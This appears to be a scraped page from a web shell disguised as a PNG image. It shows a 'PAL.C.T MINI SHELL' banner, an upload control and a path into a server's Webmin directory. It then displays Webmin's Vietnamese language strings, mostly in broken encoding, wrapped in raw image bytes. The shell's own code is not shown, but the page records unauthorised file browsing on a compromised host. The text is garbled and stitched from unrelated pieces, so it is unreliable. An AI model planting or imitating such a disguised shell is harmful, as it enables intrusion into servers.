‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/lang/
upload
files >> //usr/libexec/webmin/lang/vi.auto

main_homepage=Trang chá»§
main_feedback=Phản hồi ..
main_switch=Chuyển ngưá»i dùng ..
main_logout=Äăng xuất
main_version=Phiên bản $1 trên $2 ($3)
main_title=Webmin $1 trên $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=Bạn không có quyá»n truy cập vào bất kỳ mô-Ä‘un Webmin nào.
main_skill=Cấp độ kỹ năng
main_readonly=(Chế độ chỉ Ä‘á»c)
main_return=Quay trở lại $1
main_unused=Mô-đun không sử dụng
main_refreshmods=Làm mới mô-đun

link_essl=Mô-đun Net::SSLeay Perl cần thiết để tạo kết nối HTTPS không được cài đặt trên hệ thống của bạn.

category_servers=May chủ
category_hardware=Phần cứng
category_system=Hệ thống
category_webmin=Webmin
category_net=Mạng
category_syslet=Syslets
category_cluster=Cụm
category_info=Thông tin
category_=Công cụ

longcategory_servers=Các mô-đun cho cấu hình web, email, FTP và các máy chủ khác
longcategory_hardware=Các mô-đun cho máy in, đĩa và cấu hình phần cứng khác
longcategory_system=Các mô-Ä‘un cho ngưá»i dùng, hệ thống tập tin, công việc Cron và các cài đặt hệ thống khác
longcategory_webmin=Các mô-đun để tự cấu hình Webmin
longcategory_net=Các mô-đun để cấu hình các dịch vụ mạng và mạng
longcategory_cluster=Các mô-Ä‘un có thể quản lý nhiá»u máy chá»§ từ má»™t giao diện duy nhất
longcategory_info=Các mô-đun hiển thị thông tin vỠhệ thống của bạn
longcategory_=Các mô-đun thực hiện các tác vụ linh tinh khác

header_webmin=Chỉ số Webmin
header_module=Chỉ số mô-đun
header_help=Cứu giúp ..
header_config=Cấu hình mô-đun
header_servers=Máy chủ webmin

index=mục lục
yes=Äúng
no=Không
save=Tiết kiệm
create=Tạo nên
delete=Xóa bá»
find=Tìm thấy
error=lá»—i
error_previous=trang trước
error_stack=Gá»i theo dõi ngăn xếp
error_file=Tập tin
error_line=Hàng
error_sub=Chức năng
error_stackline=Trong tệp $1 tại dòng $2 gá»i $3
efilewrite=Không thể ghi vào $1 : $2 
efileclose=Không thể ghi vào $1 khi đóng : $2
efileopen=Không thể mở $1 để viết : $2
default=Mặc định
modify=Sửa đổi
reset=Cài lại
ok=đồng ý
cancel=Há»§y bá»
fail=Thất bại
helpsearch=Tìm kiếm tài liệu ..
switch_remote_euser=Ngưá»i dùng Unix $1 không tồn tại.
programname=Webmin
euserdbacl=Không thể tìm nạp ngưá»i dùng ACL : $1
euserdbacl2=Không thể cập nhật ngưá»i dùng ACL : $1
egroupdbacl=Không thể tìm nạp nhóm ACL : $1
egroupdbacl2=Không thể cập nhật ACL nhóm : $1

chooser_title1=Chá»n tập tin ..
chooser_title2=Chá»n thư mục ..
chooser_dir=Thư mục của $1
chooser_ok=Äồng ý
chooser_date=Chá»n ngày
chooser_eopen=Danh sách không thành công : $1

users_title1=Chá»n ngưá»i dùng ..
users_title2=Chá»n ngưá»i dùng ..
users_sel=Ngưá»i dùng được chá»n
users_all=Tất cả ngưá»i dùng
users_ok=Äồng ý
users_cancel=Há»§y bá»
users_clear=Thông thoáng

groups_title1=Chá»n nhóm ..
groups_title2=Chá»n nhóm ..
groups_all=Tất cả các nhóm
groups_sel=Nhóm được chá»n
groups_ok=Äồng ý
groups_cancel=Há»§y bá»
groups_clear=Thông thoáng

modules_title1=Chá»n mô-Ä‘un ..
modules_title2=Chá»n Mô-Ä‘un ..
modules_sel=Mô-Ä‘un được chá»n
modules_all=Tất cả các mô-đun
modules_ok=Äồng ý
modules_cancel=Há»§y bá»
modules_clear=Thông thoáng

config_ecannot=Bạn không được phép cấu hình mô-đun này
config_title=Cấu hình
config_dir=Äối vá»›i mô-Ä‘un $1
config_header=Các tùy chá»n có thể định cấu hình cho $1
config_none=không ai
config_eaccess=Bạn không được phép truy cập mô-đun này
config_emodule=Mô-đun không tồn tại
config_err=Không thể lưu cấu hình
config_nochange=Äừng thay đổi
config_setto=Äặt thành
config_ewebmin=Kiểu tham số 14 chỉ hoạt động trong Webmin

help_err=Không thể hiển thị trợ giúp
help_epath=ÄÆ°á»ng dẫn trợ giúp bị thiếu hoặc không hợp lệ
help_efile=Không thể Ä‘á»c tệp trợ giúp $1
help_eheader=Thiếu phần <tiêu Ä‘á»>
help_einclude=Không thể bao gồm $1
help_eif=$1 không thành công : $2
help_eexec=$1 không thành công : $2

referer_title=Cảnh báo an ninh
referer_warn=<b> Cảnh báo! Máy chá»§ Webmin. Äây có thể là má»™t ná»— lá»±c để lừa máy chá»§ cá»§a bạn thá»±c hiện má»™t lệnh nguy hiểm.
referer_warn_unknown=<b>Cảnh báo!</b> Webmin đã phát hiện ra rằng chương trình $1 được liên kết đến từ má»™t URL không xác định, có vẻ như nằm ngoài máy chá»§ Webmin. Äây có thể là má»™t ná»— lá»±c để lừa máy chá»§ cá»§a bạn thá»±c hiện má»™t lệnh nguy hiểm.
referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save</b></li>.</ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Äảm bảo trình duyệt cá»§a bạn được định cấu hình để gá»­i thông tin giá»›i thiệu để Webmin có thể được xác minh.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_header=Äăng nhập vào Webmin
session_mesg=Bạn phải nhập tên ngưá»i dùng và mật khẩu để đăng nhập vào máy chá»§ Webmin trên $1.
session_mesg2=Bạn phải nhập tên ngưá»i dùng và mật khẩu để đăng nhập.
session_user=tên tài khoản
session_pass=Mật khẩu
session_twofactor=Mã thông báo hai yếu tố
session_login=Äăng nhập
session_clear=Thông thoáng
session_failed=Äăng nhập thất bại. Vui lòng thá»­ lại.
session_twofailed=Xác thực hai yếu tố không thành công : $1
session_logout=Thoát ra thành công. Sử dụng mẫu dưới đây để đăng nhập lại.
session_timed_out=Phiên đã hết thá»i gian sau khi $1 phút không hoạt động.
session_save=Nhớ đăng nhập vĩnh viễn?

pam_header=Äăng nhập vào Webmin
pam_mesg=Bạn phải trả lá»i câu há»i bên dưới để đăng nhập vào máy chá»§ Webmin trên $1.
pam_mesg2=Bạn phải trả lá»i câu há»i dưới đây để đăng nhập.
pam_login=Tiếp tục
pam_restart=Khởi động lại

acl_root=Thư mục gốc cho trình chá»n tập tin
acl_otherdirs=Các thư mục hiển thị khác trong trình chá»n tệp
acl_nodot=Ẩn tập tin dấu chấm trong trình chá»n tập tin?
acl_home=Thư mục nhà cá»§a ngưá»i dùng
acl_uedit=Ngưá»i dùng hiển thị trong trình chá»n ngưá»i dùng
acl_uedit_all=Tất cả ngưá»i dùng
acl_uedit_none=Không có ngưá»i dùng
acl_uedit_only=Chỉ ngưá»i dùng
acl_uedit_except=Tất cả ngoại trừ ngưá»i dùng
acl_uedit_uid=Ngưá»i dùng có UID trong phạm vi
acl_uedit_group=Ngưá»i dùng có nhóm
acl_gedit=Các nhóm hiển thị trong trình chá»n nhóm
acl_gedit_all=Tất cả các nhóm
acl_gedit_none=Không có nhóm
acl_gedit_only=Chỉ nhóm
acl_gedit_except=Tất cả ngoại trừ các nhóm
acl_gedit_gid=Các nhóm có GID trong phạm vi
acl_feedback=Có thể gửi email phản hồi?
acl_feedback2=Äúng
acl_feedback1=Có, nhưng không phải với tập tin cấu hình
acl_feedback0=Không
acl_feedback3=Có, với tập tin cấu hình
acl_rpc=Có thể chấp nhận các cuá»™c gá»i RPC?
acl_rpc2=Chỉ dành cho <tt>root</tt> hoặc <tt>admin</tt>
acl_rpc1=Äúng
acl_rpc0=Không
acl_readonly2=Ngưá»i dùng Ä‘ang ở chế độ demo?
acl_readonlyyes=Có (Một số mô-đun có thể không có sẵn)
acl_negative=Cấp quyá»n mô-Ä‘un má»›i cho ngưá»i dùng?
acl_fileunix=Duyệt các tệp như ngưá»i dùng Unix
acl_sameunix=Giống như đăng nhập Webmin
acl_webminsearch=Hiển thị trưá»ng tìm kiếm Webmin?

month_1=tháng Giêng
month_2=Tháng hai
month_3=tháng Ba
month_4=Tháng 4
month_5=có thể
month_6=Tháng 6
month_7=Tháng 7
month_8=tháng Tám
month_9=Tháng Chín
month_10=Tháng Mưá»i
month_11=Tháng 11
month_12=Tháng 12

day_0=chủ nhật
day_1=Thứ hai
day_2=Thứ ba
day_3=Thứ tư
day_4=Thứ năm
day_5=Thứ sáu
day_6=ngày thứ bảy

smonth_1=tháng một
smonth_2=Tháng hai
smonth_3=Tháng ba
smonth_4=Tháng Tư
smonth_5=có thể
smonth_6=Tháng sáu
smonth_7=Tháng 7
smonth_8=Tháng tám
smonth_9=Tháng chín
smonth_10=Tháng 10
smonth_11=Tháng 11
smonth_12=Tháng 12

sday_0=Su
sday_1=MÆ¡
sday_2=Tu
sday_3=Chúng tôi
sday_4=Thứ tự
sday_5=Fr
sday_6=Sa

emodule=Truy cập bị từ chối: Ngưá»i dùng $1 không được phép sá»­ dụng mô Ä‘un $2
emodulecheck=Mô-đun $1 không khả dụng trên hệ thống của bạn
elock_tries2=Không thể khóa tệp $1 sau $2 phút. Lỗi cuối cùng là : $3

skill_high=Chuyên gia
skill_medium=Trung gian
skill_low=Ngưá»i má»›i

feedback_title=Phản hồi trên webmin
feedback_desc=Biểu mẫu này cho phép bạn báo cáo các lỗi vỠviệc đưa ra đỠxuất cho nhà phát triển Webmin vỠbất kỳ vấn đỠhoặc tính năng nào bị thiếu mà bạn đã tìm thấy. Khi nhấp vào nút Gửi, các chi tiết được nhập vào biểu mẫu sẽ được gửi qua email tới $1.
feedback_desc2=Phản hồi này sẽ được gửi đến nhà phát triển Webmin, không phải quản trị viên hệ thống, ISP hoặc công ty lưu trữ của bạn. Vui lòng viết phản hồi của bạn bằng tiếng Anh, ngay cả khi bạn hiện đang chạy Webmin bằng ngôn ngữ khác.
feedback_header=Chi tiết phản hồi
feedback_name=Tên của bạn
feedback_email=địa chỉ email của bạn
feedback_module=VỠmô-đun
feedback_all=Tất cả các mô-đun
feedback_text=Mô tả vấn đỠhoặc đỠxuất
feedback_os=Bao gồm chi tiết hệ Ä‘iá»u hành trong email?
feedback_osdesc=Nếu tùy chá»n này được chá»n, email phản hồi tá»± động sẽ bao gồm tên và phiên bản hệ Ä‘iá»u hành cá»§a bạn.
feedback_config=Bao gồm cấu hình mô-đun trong email?
feedback_configdesc=Nếu được chá»n, email sẽ bao gồm cấu hình cá»§a mô-Ä‘un liên quan và ná»™i dung cá»§a bất kỳ tệp cấu hình nào mà mô-Ä‘un sá»­ dụng. Ví dụ: nếu phản hồi có liên quan đến mô Ä‘un <i>Ngưá»i dùng và Nhóm</i>, các tệp <tt>/etc/passwd</tt> và <tt>/etc/bóng</tt> cá»§a bạn sẽ được gá»­i.
feedback_attach=Tập tin bổ sung để đính kèm
feedback_send=Gửi thông tin phản hồi
feedback_mailserver=Gửi qua máy chủ SMTP
feedback_mailserver_def=Chương trình gửi thư địa phương
feedback_err=Không thể gửi phản hồi
feedback_emodule=Bạn đã chá»n bao gồm cấu hình mô-Ä‘un trong email, nhưng không chá»n mô-Ä‘un.
feedback_emodule2=Mô-Ä‘un được chá»n không tồn tại
feedback_econfig=Bạn không có quyá»n truy cập đầy đủ vào mô-Ä‘un đã chá»n.
feedback_via=Äã gá»­i phản hồi tá»›i $1 qua máy chá»§ SMTP $2
feedback_prog=Äã gá»­i phản hồi tá»›i $1 bằng chương trình sendmail $2
feedback_esend=Không thể gửi phản hồi qua chương trình sendmail hoặc máy chủ SMTP cục bộ.
feedback_to=Gửi phản hồi đến địa chỉ
feedback_enoto=Không có địa chỉ nào được nhập để gửi phản hồi tới
feedback_ecannot=Bạn không được phép gửi phản hồi
feedback_ecannot2=Bạn không được phép gửi phản hồi có chứa tệp cấu hình

progress_size2=Äang tải xuống $1 ($2) ..
progress_nosize=Äang tải xuống $1 ..
progress_datan=Äã nhận $1 ($2 %)
progress_data2n=Äã nhận $1
progress_done=.. hoan thanh tải.
progress_incache=Äã tìm thấy $1 trong bá»™ đệm ..

readparse_cdheader=Thiếu tiêu đỠxử lý nội dung
readparse_enc=Yêu cầu mã hóa dữ liệu biểu mẫu, nhưng có mã hóa bình thưá»ng
readparse_max=Dữ liệu vượt quá kích thước tối đa của $1 byte

password_expired=Mật khẩu cá»§a bạn đã hết hạn và phải chá»n mật khẩu má»›i.
password_temp=Bạn phải chá»n má»™t mật khẩu má»›i để thay thế đăng nhập tạm thá»i cá»§a bạn.
password_header=Chá»n mật khẩu má»›i
password_user=tên tài khoản
password_old=Mật khẩu hiện tại
password_new1=Mật khẩu mới
password_new2=Mật khẩu mới một lần nữa
password_ok=Thay đổi
password_clear=Thông thoáng
password_done=Mật khẩu của bạn đã được thay đổi thành công. Bây giỠbạn có thể <a href='$1'>đăng nhập lại</a> bằng mật khẩu mới.
password_err=Không thể thay đổi mật khẩu
password_euser=Tên đăng nhập của bạn không được tìm thấy trong tập tin mật khẩu!
password_eold=Mật khẩu hiện tại không chính xác
password_enew1=Không có mật khẩu mới được nhập
password_enew2=Mật khẩu mới của bạn không khớp
password_epam=Lá»—i PAM : $1
password_emodpam=Mô-đun Perhen Authen::PAM cần thiết để thực hiện thay đổi mật khẩu chưa được cài đặt!
password_enewpass=Mật khẩu mới không được phép : $1

ui_mandatory=Lĩnh vực này là bắt buộc
ui_checkmandatory=Không có gì được chá»n
ui_errors=Nhiá»u lá»—i đã được tìm thấy :
ui_nothing=Không có gì vào
ui_searchcol=Tìm hàng trong đó
ui_searchfor=Chứa văn bản
ui_searchok=Tìm kiếm
ui_selall=Chá»n tất cả.
ui_selinv=Lá»±a chá»n đối nghịch.
ui_edate=Ngày không hợp lệ
ui_etime=Thá»i gian không hợp lệ
ui_paging=Hiển thị các hàng $1 cho $2 của $3
ui_rowlabel=$2 trong hàng $1 :
ui_filterbox=Nhập để lá»c ..

header_statusmsg=$1 đã đăng nhập vào $2 $3 trên $4 ($5)

uptracker_title=Tải tệp lên
uptracker_file=Tên tệp
uptracker_size=Kích thước
uptracker_pc=Phát triển
uptracker_eid=Không có ID tải lên được chỉ định
uptracker_eid2=ID tải lên không hợp lệ!
uptracker_of=$1 cá»§a $2

wsearch_title=Tìm kiếm $1
wsearch_modt=Mô-đun
wsearch_mtitle=Tên mô-đun
wsearch_what=Trang phù hợp
wsearch_type=Loại so khớp
wsearch_mod=mô đun $1
wsearch_config_webmin=Cấu hình mô-đun Webmin
wsearch_config_usermin=Sở thích của Usermin
wsearch_help=Trang trợ giúp
wsearch_inmod=Trong $1
wsearch_text=Giao diện ngưá»i dùng văn bản
wsearch_esearch=Không có gì để tìm kiếm đã được nhập.
wsearch_enone=Không tìm thấy mô-đun hoặc trang web nào phù hợp với $1.
wsearch_on=(Trên $1)
wsearch_helpfor=Trợ giúp cho <i>$1</i>
wsearch_htext=Kết hợp văn bản
wsearch_htype=Nguồn
wsearch_hcgis=Ngưá»i giá»›i thiệu
wsearch_type_mod=Tên mô-đun
wsearch_type_config=Cấu hình
wsearch_type_help=Trang trợ giúp
wsearch_type_text=Giao diện ngưá»i dùng
wsearch_type_dir=URL mô-đun
wsearch_hmod=Mô-đun
wsearch_moddir=ÄÆ°á»ng dẫn URL /$1/
wsearch_searching=Tìm kiếm $1 ..
wsearch_found=đã tìm thấy kết quả $1 :

sql_emysqldriver=Không thể tải trình Ä‘iá»u khiển DBI MySQL
sql_emysqlconnect=Không thể kết nối với cơ sở dữ liệu MySQL : $1
sql_epostgresqldriver=Không thể tải trình Ä‘iá»u khiển DBI PostgreSQL
sql_epostgresqlconnect=Không thể kết nối với cơ sở dữ liệu PostgreSQL : $1
sql_eldapdriver=Không thể tải mô-đun LDAP perl
sql_eldapconnect=Không thể kết nối với máy chủ LDAP $1
sql_eldaptls=Không thể bắt đầu mã hóa TLS cho LDAP : $1
sql_eldaplogin=Không thể đăng nhập vào máy chủ LDAP dưới dạng $1 : $2 

log_email_subject=Hành động trên webmin trong $1
log_email_global=Webmin hành động toàn cầu
log_email_desc=Email này đã được gá»­i bởi Webmin để phản hồi lại hành động cá»§a ngưá»i dùng.
log_email_mod=Mô-đun Webmin: $1
log_email_moddesc=Tiêu đỠmô-đun: $1
log_email_time=Hành động được thực hiện tại: $1
log_email_system=ÄÆ°á»£c thá»±c hiện trên hệ thống: $1
log_email_user=ÄÆ°á»£c thá»±c hiện bởi ngưá»i dùng: $1
log_email_script=Tập lệnh Webmin: $1
log_email_session=ID phiên: $1
log_email_remote=Äịa chỉ khách hàng: $1

nice_size_PB=PB
nice_size_PiB=PiB
nice_size_TB=Lao
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=kB
nice_size_kiB=KiB
nice_size_b=byte

langauto_include=Bao gồm dịch máy

file_truncated_message=đã tìm nạp $1 dữ liệu, bị cắt bớt $2 / $3 
file_truncated_message_head=đã tìm nạp bắt đầu $1 dữ liệu, bị cắt bớt $2 / $3 
file_truncated_message_tail=đã tìm nạp kết thúc $1 của dữ liệu, bị cắt bớt $2 / $3 
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚